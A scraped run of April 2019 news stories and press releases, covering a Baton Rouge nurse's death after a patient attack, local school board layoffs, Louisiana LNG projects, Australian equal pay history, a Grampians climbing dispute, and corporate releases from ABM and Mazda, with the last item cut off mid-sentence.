zinc processing facility and ancillary assets (the "Processing Facility") located in Salaberry-de-Valleyfield, Quebec. The Processing Facility is the second-largest zinc processing facility in North America and the largest zinc processing facility in eastern North America, where the majority of zinc customers are located. It produces refined zinc metal and various by-products from sourced zinc concentrates. The Processing Facility is operated and managed by Canadian Electrolytic Zinc Limited, a wholly-owned subsidiary of Glencore Canada Corporation. Further information about Noranda Income Fund can be found at www.norandaincomefund.com . For further information, please contact: Paul Einarson Chief Financial Officer, Canadian Electrolytic Zinc Limited Noranda Income Fund's Manager 514-745-9380 info@norandaincomefund.com Lynne Truxillo finished her shift, despite having sustained serious injuries trying to save another nurse from a behavioral health patient who attacked them at Baton Rouge General earlier this month. She finished her shift before undergoing a medical exam, which revealed she would need surgery to repair a torn ACL. And she died five days later, on April 11, after a blood clot traveled to her lungs a death the East Baton Rouge coroner ruled a homicide because the blood clot resulted directly from her injuries. Now members of the nursing community nationwide are expressing outrage over Truxillo's story and calling for better hospital safety practices to minimize the dangers of their profession which have long been a problem. Advocates said her death marks the latest tragedy from a persistent threat of workplace violence that medical workers face in hospitals across the country. Baton Rouge nurse who died after patient attack was 'kind, compassionate;' police investigating The death of a Baton Rouge General nurse will be investigated as a homicide after the coroner ruled on Tuesday that she died of injuries from Dr. Zubin Damania, a practicing physician who has garnered internet fame under the name "ZDoggMD" for his comedic raps and commentary, posted a recent video arguing that Truxillo's death shows "how we are devaluing our frontline healthcare professionals, putting them in harm's way and expecting our healers to make the ultimate sacrifice in service for their patients: to die in service for their patients." "We cannot shut up about this," he said. "Our job is to keep making noise, to keep advocating for safer units, for better mental health care, for better support for our frontline clinicians, for better security in hospitals." Media reports of the incident have been shared thousands of times on social media over the past several days, often with the hashtag #silentnomore encouraging healthcare workers to report instances of violence instead of allowing them to be brushed under the rug. "We are mourning yet another loss of life," said Michelle Mahon, a registered nurse and representative for the labor group National Nurses United. "As healthcare becomes more like factory work, the workforce is viewed as somewhat expendable. There is a cultural problem there, too. Many nurses don't even report violence because they have the perception that nothing will change." But Mahon said tragedies like this push more people to demand action. "I don't think it's any coincidence that an occupation comprised mostly of women has been exposed to violence for so long. I also don't think it's any accident that we're seeing a cultural shift in what women are willing to tolerate as a collective," she said. "We're getting to the point where this is no longer acceptable." The patient accused of attacking Truxillo, Jessie Guillory, 54, was arrested this week on a count of manslaughter. Guillory initially attacked another nurse, police said, and Truxillo stepped in to help her colleague. He then turned on her, grabbing her neck and striking her head on a desk. She injured her leg trying to escape. A number of Baton Rouge General employees said Guillory had a known history of violence against medical professionals at that hospital and others. The employees spoke to The Advocate on the condition of anonymity because they're not authorized to share information with the media. Hospital representatives did not respond to requests for comment Friday. Top stories in Baton Rouge in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up +2 Nurse at Baton Rouge General was trying to save colleague before fatal attack, warrant says A Baton Rouge General nurse was trying to save her colleague from an attack when the patient responsible turned on her instead, inflicting inj In separate incidents at the Tau Center, a mental health treatment facility in Baton Rouge, two men were arrested Monday after employees reported being assaulted while attempting to administer treatment to them. One of the victims sustained a busted lip and broken finger, according to police. Some argue that arresting patients is an appropriate response, but Mahon said it's not productive, particularly when psychiatric issues are involved. She said the healthcare facilities themselves need to devote more resources to preventing violence before it occurs, including through adequate staffing levels and individual patient care plans. If the patient has a history of violence, their care plan should address and mitigate that risk, Mahon said. There are no federal standards in place now, but a bill was recently introduced in Congress that includes two new requirements for hospitals: develop violence prevention plans and report all instances of violence to the Occupational Safety and Health Administration. Mahon said the legislation would introduce a more standardized approach and create a paper trail to help hold facilities and administrators accountable for violence that occurs under their watch. The federal bill is modeled after California's approach. Better funding for mental health care would also help protect nurses, particularly in Louisiana where advocates agree the state's notoriously underfunded psychiatric treatment system often leaves patients with nowhere to turn. +4 Tax proposal on Dec. 8 ballot would fund new mental health center for Baton Rouge Crystal Harris tries to follow her usual routine, even when she finds herself sitting in jail dealing with a nervous breakdown. Kristi Tortorich, of Baton Rouge, a former nurse who worked in hospitals across the country including Louisiana, New York, Arizona and Texas said she left the profession after 10 years in part because of safety concerns. "We choose this job because we love it and we want to help people. But I've been held at gunpoint, choked, punched, come home with bruises multiple times," she said. "This is nothing new and it's happening everywhere, not just in Baton Rouge. Until we start treating nurses as people again, this is never gonna get fixed." In the meantime thousands of American workers are being assaulted on the job each year. Richard Trumka, president of the national AFL-CIO, said women in the "healthcare and social services fields are disproportionately the victims of these attacks. "This is a national crisis," he said in a statement to media Thursday. "And it's well past the time that folks in Washington, D.C., stop playing politics and take action to prevent these tragedies." GONZALES A Donaldsonville man faces up to 40 years in state prison after Ascension Parish jurors convicted him in the fatal shooting of his wife nearly five years ago, prosecutors said Thursday. Jaris Howard, 36, shot Shella "Shay" Thomas Howard, then 27, multiple times while she was getting dressed in their bathroom on July 21, 2014, prosecutors with the 23rd Judicial District said in a statement. The couple's then-6-year-old daughter was in Howards' home at 1103 Maginnis St. at the time of the shooting. After the slaying, Jaris Howard took the child to a relative's home and then told family members that he had shot his wife, prosecutors said. +3 Donaldsonville man booked in shooting death of wife A Donaldsonville man with an extensive criminal record is accused of fatally shooting his wife Monday morning, with the couples young child i Sheriff's deputies later found Howard at his mother's home, and he told deputies he had killed his wife while he was on his way to Ascension Parish Prison, which is outside Donaldsonville. Shay Howard was pronounced dead at the scene. Top stories in Baton Rouge in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up Assistant District Attorney Kenneth Dupaty tried Jaris Howard on a second-degree murder charge but jurors came back with the responsive verdict of manslaughter, a reduced charge, early Wednesday morning less than an hour after midnight. Court minutes show jurors, during their deliberations, had asked Judge Alvin Turner Jr. and prosecution and defense attorneys twice for the definition of manslaughter, as well as once each for the definitions of not guilty by self-defense and negligent homicide, another lesser charge. Under Louisiana law, manslaughter is a slaying in so-called "hot blood" or sudden passion that, for the moment, deprives someone from self-control. Having been found guilty of manslaughter, Howard avoided the mandatory life sentence that a second-degree murder conviction would have brought. Howard testified on his own behalf, but it's not clear what his defense was. Prosecutors and his defense attorney, Martin Regan Jr., weren't immediately available for comment Thursday afternoon. Judge Turner deferred sentencing until after a pre-sentence investigation. After a lengthy debate, the East Baton Rouge Parish School Board on Thursday agreed to give Superintendent Warren Drake authority to lay off employees, but not before hearing it from some of those 6,000 individuals whose jobs are potentially in jeopardy. Also, the board deadlocked seven times on who should be the next School Board vice president. Neither of the two board members still in the running, Mark Bellue and Dadrius Lanus, were able to get the minimum five votes needed. On the possible layoffs, the School Board voted 5-4 to give Drake permission to invoke the school systems Reduction in Force policy if necessary to balance the budget. Voting yes were Bellue, Jill Dyason, Mike Gaudet, Connie Bernard and David Tatman. Voting no were Lanus, Tramelle Howard, Dawn Collins and Evelyn Ware-Jackson. Teacher layoffs on East Baton Rouge School Board's agenda; unions remain suspicious of changes With the East Baton Rouge Parish School Board scheduled to vote Thursday whether to give Superintendent Warren Drake authority to lay off empl Invoking a RIF doesnt automatically mean employee layoffs, but it increases the possibility. In an effort to cut the budget without resorting to layoffs, Drake for nearly a year has been leaving jobs unfilled as positions opened. "Im very confident we will able to cut the amount of money we need to cut, $20 to $30 million, without having to do a RIF," he said. The layoffs wont occur until May 26 at earliest, as per district policy, 30 days after Thursdays board meeting. Drake is looking for a way to trim the budget in advance of the 2019-20 fiscal year, which starts July 1. Collins, who voted no, said the board could waive its 30-day delay rule. She said that would give the board more time to see a draft of the proposed budget for 2019-20 and see if its still necessary. But she admitted that layoffs may still be necessary. We have a huge deficit and if attrition wont solve the problem we will have to do a RIF, she said. Gaudet, the board president, said the budget hole is likely to be bigger than projected because of lagging sales and property tax collections. Preliminary estimates suggest a $29 million deficit, up from $25 million. He said staff has identified about $20 million in cuts so far and are looking hard for rest. This is real, Gaudet said. +2 Layoffs might be in store for Baton Rouge public schools; Supt. Warren Drake explains why For the first time since he took over as superintendent in 2015, Warren Drake is asking the East Baton Rouge Parish School Board to give him a Even though RIF letters wont be mailed out for at least a month, some employees are already being told they will likely have to look for another job somewhere else in the school system. The jobs of these 100-or-so employees are in jeopardy due to a separate, annual budget process in which school principals figure out the number of staff members they will have the following school year. As part of that process, affected employees received impact letters telling them their position is slated to be cut because of program changes or school restructuring. Those who remain on the impact list, set to be made final Monday, won't be returning to their schools in the same positions they held. Many teachers, parents and students spoke out Thursday about the impact letters. Many of them were from McKinley High, where several science teachers have received letters. I love my school and Im not entirely sure, but it feels like Im being targeted, said Barbara Araneda, a science teacher at the Baton Rouge high school. I want to know why I dont fit in at my school anymore, she added. Dalyn Smith, senior at McKinley High, said the cuts at her school are a sign of disrespect. What youre telling us right now as students we dont matter, Smith said. Because we are affected. Top stories in Baton Rouge in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up Meanwhile, board members were unable to come to a decision on who among their members should serve as vice president. The board vote was part of a settlement with Baton Rouge attorney Donald Hodge, who said the board violated the states open meetings law when it cut short his public comments during the Jan. 17 board meeting when it voted 5-3 to name Dyason as its vice president. Hodge opposed Dyason because she had signed the petition to put creating a City of St. George on the ballot. On Thursday, he was finally able to fully articulate his opposition. I dont even know why Ms. Dyason has been nominated, he said. She shouldnt even be on this board. The vote for vice president broke down along racial lines: For Bellue, who is white: Bellue, Bernard, Gaudet and Tatman. For Lanus, who is black: Howard, Lanus and Ware-Jackson. Two board members, Dyason and Collins, abstained. Dyason is white and Collins is black. On an eighth vote, Collins voted for Lanus, bringing the margin to 4-4, but still deadlocked. +4 East Baton Rouge Parish School Board will re-vote on board VP after settling lawsuit The East Baton Rouge Parish School Board has settled its dispute with Baton Rouge attorney Donald Hodge, agreeing to pay his court costs and t Dyason didn't budge. She has served as vice president since January. She was nominated to stay in the job Thursday, but she earned only one vote, from herself. The continued deadlock prompted recriminations. You at least have a diligence to vote for someone, said Howard to the two abstaining board members. Im not saying who you should vote for but you have to vote for someone. I cant agree with Mr. Howard more, added Ware-Jackson. Hodge expressed disgust the board couldnt come to a decision to replace Dyason. It is embarrassing for East Baton Rouge Parish, it was embarrassing for this district and its embarrassing for Ms. Dyason, Hodge said. Gary Chambers, publisher of The Rouge Collection online publication, said the white board members should be ashamed to not support Lanus in a school district where 80 percent of the students are black. That is as racist as it comes, vote after vote you wont side with your black brother, Chambers said. Dyason, meanwhile, will remain as vice president until the board votes otherwise. The board agreed to address the issue again at special meeting on May 2. The vote to hold that vote was 5-4. There was opposition because Collins will not be able to attend the meeting, leaving just eight board members to vote. Los Angeles, CA, April 26, 2019 (GLOBE NEWSWIRE) -- M2 Compliance ("M2"), a leading SEC registered filing agent, and financial printer will be proudly sponsoring the Think Equity Conference, a premier investor event. The conference is scheduled for May 2nd, 2019 at the Mandarin Oriental Hotel in New York. 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Contact Information David McGuire, CEO Tel: (310) 402-2681 www.m2compliance.com For the first time in two years, federal regulators have green-lighted a big new industrial expansion in Louisianas burgeoning market of natu Venture Global LNG has filed a proposal with federal regulators to build a third natural gas export facility in south Louisiana. The company, which is headquartered in Arlington, Virginia, filed initial paperwork last week with the Federal Energy Regulatory Commission to build a liquefied natural gas export facility in Plaquemines Parish, as well as a 287-mile pipeline that would run from Perrysville and cross through 17 parishes in the state and two counties in Mississippi to export site. The additional export facility, named Delta LNG, would have capacity to process up to 24 million tons per year of LNG and follows FERC approval last month for Venture Global's $5 billion, 10 million tpa LNG export facility at Calcasieu Pass in southwest Louisiana, which is scheduled for completion in 2022. The company's second export plant, for a 20 million tpa facility also located in Plaquemines Parish, has passed through the environmental study stage and is awaiting final approval from the FERC board. FERC Chairman Jay Chatterjee, in approving a slew of recent LNG export infrastructure proposals, has made it clear that he is expediting projects as an energy priority of the Trump administration. With the new Venture Global Delta LNG filing, that brings to 16 the total number of LNG export facilities that are at various stages of the FERC approval process, five of which are in Louisiana. In addition, FERC has already approved a dozen projects, seven of which are being built in Louisiana. Louisiana is home to the largest by far of the four existing terminals, Cheniere's 3.5 billion-cubic-feet-per-day facility at Sabine Pass, which has more than twice the capacity of the other three combined. The export facilities are feeding off an abundance of natural gas being produced from U.S. shale formations around the country that are being tapped with advanced drilling technology. Glencore said it's under investigation by the US Commodity Futures Trading Commission for possible corrupt practices, the latest legal headache for the world's biggest commodity trader. The probe comes after the London-listed company was subpoenaed last year by the US Justice department for documents relating to its dealings in Nigeria, the Democratic Republic of Congo and Venezuela since 2007. Glencore said on Thursday that the CFTC had notified it of investigations into whether the company and its subsidiaries 'may have violated certain provisions of the Commodity Exchange Act and/or CFTC Regulations through corrupt practices in connection with commodities.' Glencore has another legal headache with news it's under investigation in the US over possible corrupt practices. Credit:Bloomberg The company said it believes the CFTC's investigations 'have a similar scope in terms of subject matter' to the DOJ probe, which became public last July. CFTC spokeswoman Erica Elliott Richardson didn't return a request for comment on the probe. Donald Trump's double strangulation of Iran and Venezuela is reducing spare capacity in the global oil markets to wafer-thin levels very fast. If anything goes wrong in the geopolitical cauldron of world energy over the next six months, we will discover whether Saudi Arabia really is capable of cranking up an extra 2 million barrels a day of crude. Donald Trump has set in motion a potential oil supply problem. Credit:Pool via Bloomberg What we learnt from the rare glimpse of Saudi Aramco's books this month is that the legendary Ghawar field is badly depleted. It cannot pump more that 3.8m barrels a day. This is a first-order shock. The company has always asserted with magisterial confidence that it can produce 5m barrels a day without difficulty. Jean-Louis Le Mee, from Westbeck Capital, says the physical oil markets are on fire. They are heading for a supply deficit of 1.3m barrels a day by the third quarter even if OPEC matches every barrel of lost oil from Iran sanctions. "These numbers should have every investor worried," he said. Global spare capacity is arguably as low today as it was during the great oil shocks of the last half century. We are skating on thin ice. In 1969, with Bob Hawke as advocate, the ACTU won "equal pay for equal work". In 1972, with Ralph Willis as advocate, the ACTU introduced a wider case for equal pay, but the McMahon government opposed it. My involvement in the fight for equal pay began that year, as one of the founders of the Womens Electoral Lobby. We pressed for the reopening of the 1972 equal pay case, and as soon as Gough Whitlam was elected prime minister, he did so. The ACTU then won "equal pay for work of equal value" - meaning men and women on the same level in an award could get the same pay, even if they were doing different work. The following year, the minimum wage was extended to women. Iola Mathews (right) with ACTU Secretary Bill Kelty launching the "Action Program for Women Workers", October 1984. Credit:Age Archive In 1984 I joined the ACTU as co-ordinator of a new womens employment program, which included strategies for equal pay. In 1986 we won an equal pay case for nurses, run by my colleague Jenny Acton. Combined with a massive strike by Victorian nurses, led by Irene Bolger of the Royal Australian Nursing Federation, the case secured large pay increases and was followed by "professional rates" cases, which resulted in a further jump in pay. In another major case, run by Anna Booth of the Clothing Trades Union, the union and the ACTU won the right for "outworkers", working in their own homes for about $2 an hour, to get the same pay and conditions as their counterparts in a factory. In the late 1980s, equal pay got a large boost with "award restructuring". These were effectively equal pay cases, comparing the skills, training and responsibilities of female workers with the key metal workers' award. In 1989, my colleague Jenny Doran began an equal pay case for childcare workers, with Del Cseti of the Miscellaneous Workers Union (FMWU). At the time, childcare workers were on extremely low pay, and the award had only two levels: an untrained worker and a trained worker. Anna Booth was responsible for winning the outworkers case of 1987. Here she is seen with her son Angus at a meeting of the ACTU executive. She later became deputy president of the Fair Work Commission. Credit:Age Archive Doran argued that childcare wages were low because it was "womens work", and because the industry was largely dependent on government funding. This led to a 12-month inquiry before Commissioner Robert Laing. Laings report said the award rates did not recognise the true value of the skills, training and responsibility in the industry. It was referred to a full bench of the commission to determine future wage rates and a new classification structure. I took over the case in 1990, with Chris Christodoulou of the FMWU. Our job was to argue the case before a full bench, and I felt very nervous, especially as my colleagues said Justice John Ludeke (presiding) could be irascible. I argued our proposal for a new structure, with five levels for childcare workers and three levels for directors. Justice Ludeke fired questions at us every few minutes. Jenny Acton was the advocate in the equal pay case for nurses in 1986-87, and later a senior deputy president of the Fair Work Commission. Credit:Age Archive We were still there after dinnertime. I felt weak from hunger, and asked if I could slip out and buy something. The answer was no. The building was locked and if we went out, we would not get back in. I developed a pounding headache. While we were there, the advocate for the Hawke government presented us with a typewritten statement and disappeared. It said the cost impact of the case would be too great, and the government would not underwrite it. This was a bombshell. I ran around until I found an office with a phone and rang my boss, ACTU Secretary Bill Kelty. I tracked him down to the Cabinet Room, where he was meeting with Hawke and treasurer Paul Keating. The next morning, we presented the new definitions and wage rates and after lunch, the government's advocate read out a new statement. He said the Commonwealth supported increased rates for childcare workers, better career paths and training, and that it would be extending fee relief to the private childcare sector, which would assist parents with fees. Loading This was the breakthrough we needed. At the end of the case, we won the new career path and significant pay increases. In its decision, the commission said "the members of this industrys workforce, from whom the community expects so much, have been disadvantaged". In 1993 the Keating government passed industrial relations legislation that included "equal remuneration for men and women for work of equal value". That was a big advance, because "remuneration" meant not just the award rate, but also payments above the award. Subsequent equal pay cases showed, however, that the Fair Work Commission had difficulties in interpreting that section of the legislation. Of 21 applications made since 1994, only one has resulted in an equal remuneration order. Known as the SACS (Social and Community Services) case, it took three years, and in 2012 won large wage increases for non-government community service employees such as social workers and welfare workers. The increases were to be phased in over eight years. The case was co-ordinated by Sally McManus, then with the Australian Services Union. A crucial element of the case was the support of the Gillard Labor government, which pledged nearly $3 billion towards the pay increase. The union lobbied hard, and the government agreed to contribute because the federal and state governments fund the non-government organisations that employ community service workers. Loading In 2013, an equal pay case for early childhood educators was begun by the union United Voice with the Australian Education Union. The bulk of these workers earn about $42,000 a year - half the national average wage. The unions argue that the skills and responsibilities have increased because of government regulations, and the work is still undervalued because it is "womens work". The case was complex, and in 2016 the unions decided to compare early childhood educators with similar levels in the male-dominated manufacturing award. While the award rates were similar, the remuneration in manufacturing industries was higher, based on over-award payments and enterprise agreements. In 2018 a full bench dismissed the case for equal remuneration, but suggested the unions could run a conventional work value case. The case had by then run for five years, and cost the unions more than $1 million. Sally McManus, by now the ACTU secretary, said the decision showed the current laws were incapable of addressing the gender pay gap. Another equal pay case, run by the Independent Education Union, began in July last year. Its for degree-qualified preschool teachers, with the aim of bringing them into line with primary school teachers. The case will compare pay rates for early childhood teachers with male primary teachers and male engineers. Its expected to resume later this year. Loading The gender pay gap for full-time adult workers is currently 14 per cent, the ABS average across the whole workforce. The gap is much wider in higher-paid and senior jobs, and women are less likely to get over-award pay, bonuses and performance pay. The gender pay gap measured by the Workplace Gender Equality Agency (WGEA) is 21 per cent, but that is for large companies, and does not include government employment or the not-for-profit sector. Labor has said it will force big companies to publish their gender pay gaps for the first time, and will require all Australian government departments and agencies to conduct a gender pay audit. Another way of reducing the gender pay gap is to further encourage young women into non-traditional jobs such as STEM (Science, Technology, Engineering and Maths). We also need greater availability of flexible work hours at all levels, for men as well as women. The gender pay gap measures full-time work, but the gap in total earnings is 32 per cent. Thats because women are more likely to work part-time and do less overtime because of their family responsibilities. The gender gap in superannuation is even bigger; women currently retire with 42 per cent less than men. Thats because women earn less, are more likely to work part-time and have periods out of the workforce. Rock climbers are drawn to the Grampians by the parks unique environment: hard but weathered sandstone walls with lots of potential handholds. In the past decade, Parks Victoria claim, its popularity has exploded as it has become recognised as one of the worlds top-five climbing locations. Its a mecca for climbers, said Simon Talbot, Parks Victorias chief operating officer. This image, supplied by Parks Victoria, shows what they claim is damage to vegetation caused by 'bouldering mats' at the Venus Baths. Credit:Parks Victoria / Supplied In 2003, about 8000 climbers came to the park. In 2018, some 80,000 came, he said (climbers deny this). Its really caught us by surprise, to be honest, Mr Talbot said. Some of the best climbing is in the special protected areas of the park, around the Northern Victoria Range. More damage at the Venus Baths, in this image supplied by Parks Victoria. Credit:Parks Victoria Climbers have been bashing hundreds of kilometres of paths through this virgin bush, Mr Talbot said. The mats boulderers use laid at the bottom of large rocks to catch a falling person have destroyed the undergrowth, he said. Human faeces dumped in the bush is encouraging weeds to grow, he said. Sometimes they dont know. Sometimes they dont care, he said. There is a real entitlement mentality thats unhealthy. The older generation of climbers were true conservationists, Mr Talbot said. The new ones carry portable drills to make holes in the rock face, some trying to ascend as fast as possible and beat each others records, he said. They damage the sandstone, which is home to many endangered animals and climbers crumble it on the bush below, killing it, he said. Then there is the rock art; the Grampians is the richest site in Victoria, with some red-ochre paintings 20,000 years old. There are many areas where there are significant sites and rock art is being damaged. Ive seen it, said Dylan Clarke, chairman of the Barengi Gadjin Land Council which represents the traditional owners. Fixed bolts that are drilled into the rocks. Its stuff thats really hard to see. There are things like graffiti and racist drawings on sacred colours. That just makes a mockery of our culture and heritage. When you see that stuff in our sacred areas, it really impacts you thats heartbreaking. That is simply not true, said Mike Tomkins, who represents the newly-formed Australian Climbing Association Victoria. The climbers are not damaging the environment. I very firmly believe there has been no damage to any Aboriginal artwork anywhere in the region. Some rock art is almost impossible to see, he said. Climbers had been using one route for 30 years, but only a week ago were told they were climbing near rock art, he said. Climbing chalk and rock climbing bolts at a Victorian Aboriginal Heritage Registered Quarry. Climbers claim they had never been told this was an important site. Credit:Parks Victoria / Supplied Climbers were told a week ago a key climb used for 30 years, The Gallery, was an Aboriginal quarry by Parks Victoria. Protecting rock art poses a real challenge for Parks Victoria, because many sacred sites are sensitive and legally cannot be revealed. Mr Tomkins said climbers were mortified they had offended traditional owners, and wanted the chance to walk the country with them to identify art sites to avoid. But the biggest stoush is over a single picture, released by Parks Victoria when they announced the bans. It shows what looks like a climbing bolt in rock art. Aboriginal rock art in the Grampians. Parks Victoria is not suggesting this site has been damaged. Credit:Parks Victoria / Supplied But Parks got it wrong. The bolt was part of an old safety cage installed to protect the rock art. Parks apologised and pulled the image, but it soured the relationship. Parks Vic Frame Climbers Get Caught Out, one website posted, while another climbing site termed it a "dirty war". NEW YORK, April 26, 2019 (GLOBE NEWSWIRE) -- ABM (NYSE: ABM), a leading provider of facility solutions, is pleased to share that President and Chief Executive Officer Scott Salmirs has received a Business Achievement Award from the international business honor society Beta Gamma Sigma . Its an honor to receive this award from Beta Gamma Sigma and to be recognized along with such amazing corporate leaders, said Scott Salmirs. I am grateful to the faculty at SUNY Oneonta, whose relentless focus on applied learning and excellence continues to set a high bar for me and my fellow alumni. As the most prestigious business honor society, we receive nominations from around the world for our Business Achievement Award. We are proud to honor Scott Salmirs leadership and business acumen, said Christina Carosella, Chief Executive Officer at Beta Gamma Sigma. Scott is the seventh person to hold the position of president and CEO of ABM Industries in the companys 110-year history. Under Scotts guidance, ABM has flourished; the $6.4 billion Fortune 500 company has more than 140,000 employees across the world and a focus on long-term growth. Since Scott began his tenure in this role, and initiated an enterprise-wide business transformation, ABM has received many accolades; last year, Forbes named it one of the best employers for new graduates. Before joining ABM, Scott held leadership positions managing building portfolios at Goldman Sachs, Lehman Brothers, and CBRE. After getting his bachelors degree in business economics from the State University of New York College (SUNY) at Oneonta in 1984, Scott earned an MBA in finance from the State University of New York at Binghamton. Scott is a member of the business advisory council for the School of Economics and Business at SUNY Oneonta. He also serves on the board for The Outreach Project, an organization that helps adolescents and families dealing with substance abuse addiction. He is also a founding board member of Donate Eight, a nonprofit focused on increasing organ donation awareness and registration in the State of New York. Beta Gamma Sigmas Business Achievement Award honors individuals for significant achievement in business through the traditional corporate route. The achievement may be demonstrated over a career or by a singular achievement that has advanced the field of business and contributed to a community and to humankind. Scott was nominated for this honor by his undergraduate alma mater, SUNY Oneonta. For a full list of Beta Gamma Sigma Business Achievement Award recipients in 2019, visit: https://www.betagammasigma.org/mainsitedev/events/bgs-awards/business-achievement/ba-recipients . ABOUT ABM ABM is a leading provider of facility solutions with revenues of approximately $6.4 billion and approximately 140,000 employees in 350+ offices throughout the United States and various international locations. ABM's comprehensive capabilities include janitorial, electrical & lighting, energy solutions, facilities engineering, HVAC & mechanical, landscape & turf, mission critical solutions and parking, provided through stand-alone or integrated solutions. ABM provides custom facility solutions in urban, suburban and rural areas to properties of all sizes - from schools and commercial buildings to hospitals, data centers, manufacturing plants and airports. ABM Industries Incorporated, which operates through its subsidiaries, was founded in 1909. For more information, visit www.abm.com . CONTACT Media: Alex Varjan (212) 297-9737 alex.varjan@abm.com Even before forensic officers enter the house, they are starting to take notes. Whats the atmosphere like? What about the visibility? Is the street lighting on? Fingerprint expert Nicole, Sergeant Tracy Starr and biologist Bianca Laan (left to right) at Victoria Police forensic services Credit:Jason South With jumpsuits on and paper-like booties over their shoes, the officers painstakingly make their way up the driveway. Whats on the lawn? What about the windows to the house? Are any of them open? A controversial uranium mine in WA was approved the day before the federal election was called, according to a federal environment department document. The Canadian-owned Yeelirrie uranium mine, about 500 kilometres north of Kalgoorlie, requires state and federal approval. The WMC Uranium slots at Yeelirrie in the eastern goldfields of Western Australia. Credit:Tony Mcdonough Environment Minister Melissa Price, also the member for Durack in WA, gave the project the green light pending 32 environmental conditions on April 10. Prime Minister Scott Morrison triggered the May 18 election on April 11. Dharmsala, India: Hundreds of exiled Tibetans welcomed the return of the Dalai Lama to his headquarters in the north Indian hill town of Dharmsala on Friday after a brief stay in a hospital in the capital for treatment of a chest infection. Tibetan and Buddhist flags decorate the streets in Dharmsala, as exiled Tibetans await the return of their spiritual leader. Credit:AP The Tibetans carried ceremonial scarves and incense sticks. A large gate with colourful decorations was erected and Tibetan and Buddhist flags hung all over the town to welcome the 83-year-old Tibetan spiritual leader. The Dalai Lama told reporters that he had fully recovered, but that the illness had been "a little bit serious." He did not give any details. He was admitted in the hospital in New Delhi on April 9 and released on April 12. President of the Central Tibetan Administration Lobsang Sangay received the leader along with local Indian government officials at the airport. Beijing: Chinese President Xi Jinping has addressed international criticism of his signature Belt and Road plan to build new trade routes, saying projects must be economically sustainable and corruption won't be tolerated. Opening the second Belt and Road Forum, attended by 37 world leaders but with significant absences from the United States and its allies, Xi said 150 countries and organisations had already signed up to the mega development strategy. President Xi Jinping promised to set high standards for China's Belt and Road infrastructure initiative, seeking to dispel complaints the many billion dollars in projects leave developing countries with too much debt. Credit:AP Six trade routes were being built to link developing countries with Europe and China. "We need to pursue open, green and clean development. The Belt and Road is not an exclusive club, and aims to promote green development," Xi said. Washington: A federal judge on Friday sentenced admitted Russian agent Maria Butina to 18 months in prison after the Siberia native begged for mercy and expressed remorse for conspiring with a Russian official to infiltrate a gun rights group and influence US conservative activists and Republicans. US District Court Judge Tanya Chutkan imposed a sentence that matched the prison term prosecutors had requested and also agreed to have Butina, 30, deported back to Russia after she completes her incarceration. The sentence will include the approximately nine months Butina already has served in jail since her July arrest. Lawyers for Butina, a former graduate student at American University in Washington who publicly advocated for gun rights, had asked the judge to impose a sentence of time served. Clad in a green prison jumpsuit, Butina begged the judge for leniency and said she was "deeply sorry". Christchurch: Prince William has delivered a heart-warming speech during a visit to Christchurch's Al Noor mosque, saying he stands with New Zealand "in gratitude to what you have taught the world in these past weeks". The Duke of Cambridge visited the mosque on the second day of a two-day trip to New Zealand, which was announced after the terrorist attacks in Christchurch on March 15 in which 50 people died. Prince William is visiting the Al Noor Mosque following the Christchurch shooting. Credit:AAP He arrived about 10.30am on a warm morning, with autumn leaves blowing, to be welcomed by Al Noor's Imam Gamal Fouda, New Zealand Prime Minister Jacinda Ardern, Greater Christchurch Regeneration Minister Megan Woods and Christchurch mayor Lianne Dalziel. Farid Ahmed, whose wife Husna died at the mosque, spoke before Prince William, saying, "We have to keep up hope and not surrender to hatred." DUBLIN--(BUSINESS WIRE)--The "Market of Automotive Service Centers in Russia" report has been added to ResearchAndMarkets.com's offering. This report focuses on the market for passenger car service centers. The market assessment was carried out in two lines. The first one is the classification of market participants and their proportion in the regions, such as official dealers, independent service centers and specialized stations, which provide a limited set of automotive service (e.g., carwash, tire service, body repairs, etc.). At the same time, private mechanics were grouped into a separate category, as it is quite difficult to estimate their number due to the lack of information in the public domain. The second line is annual sales of automotive service, including body repairs, carwash and tire works. Method of the market calculation is based on detailed data on car parc in Russia on July 1, 2018, as well as monitoring of the prices for automotive service in Moscow, St. Petersburg and the regions. This research also took into account car owners' preferences to kinds of service stations that have been corrected after the polls in 2018. The market volume was divided into three main clusters: official dealers, independent service stations and market potential. Market potential includes repairs and car services carried out by car owners or private mechanics in terms of money. Every cluster is subdivided into services for domestic and foreign vehicles, as well as vehicle age groups. These two lines of the research enabled us to calculate the average annual volume of official dealer services for one brand without spare part and consumables cost. Moreover, the research has also calculated the saturation of automotive service centers with warranty cars in every region, i.e. the number of warranty cars for an official dealer. The report is prepared with an office research method with phone and online surveys. The major information sources are our own databases and information obtained from the public sources. The structure of the information presented and the calculation principles are developed by the publisher's specialists. Nevertheless, they are all based on fundamental principles of market capacity calculations, common in the world practice. All data presented in the report is clearly organized, compiled in tables and illustrated with graphs and diagrams if necessary. Key Topics Covered 1. Passenger car parc Age structure of the parc Brand structure of the parc Regional structure of the parc 2. Classification of market participants and market structure Classification of market participants Market structure Saturation of automotive service centers with warranty vehicles 3. Methods of calculation and basic parameters Critical parameters for the calculation Calculation of market volume 4. Market volume by regions Russia Moscow and Moscow region St. Petersburg and Leningrad region For more information about this report visit https://www.researchandmarkets.com/r/tp9ftp Contacts ResearchAndMarkets.com Laura Wood, Senior Press Manager press@researchandmarkets.com For E.S.T Office Hours Call 1-917-300-0470 For U.S./CAN Toll Free Call 1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 Related Topics: Automotive Repair Mazda Production and Sales Results for March 2019 and for April 2018 through March 2019 TOKYO, Apr, 25 2019; Mazda Motor Corporation's production and sales results for March 2019 and for April 2018 through March 2019 are summarized below. I. Production 1. Domestic Production (1) March 2019 Mazda's domestic production volume in March 2019 decreased 4.3% year on year due to decreased production of passenger and commercial vehicles. [Domestic production of key models in March 2019] CX-5: 39,749 units (down 1.0% year on year) Mazda3 (Axela): 11,129 units (down 25.8%) CX-3: 11,351 units (up 59.9%) (2) April 2018 through March 2019 Mazda's domestic production volume in the period from April 2018 through March 2019 increased 2.4% year on year due to increased production of passenger and commercial vehicles. [Domestic production of key models in the period from April 2018 through March 2019] CX-5: 435,397 units (up 4.9% year on year) Mazda3 (Axela): 156,882 units (down 6.4%) CX-3: 134,871 units (up 5.9%) 2. Overseas Production (1) March 2019 Mazda's overseas production volume in March 2019 decreased 6.7% year on year due to decreased 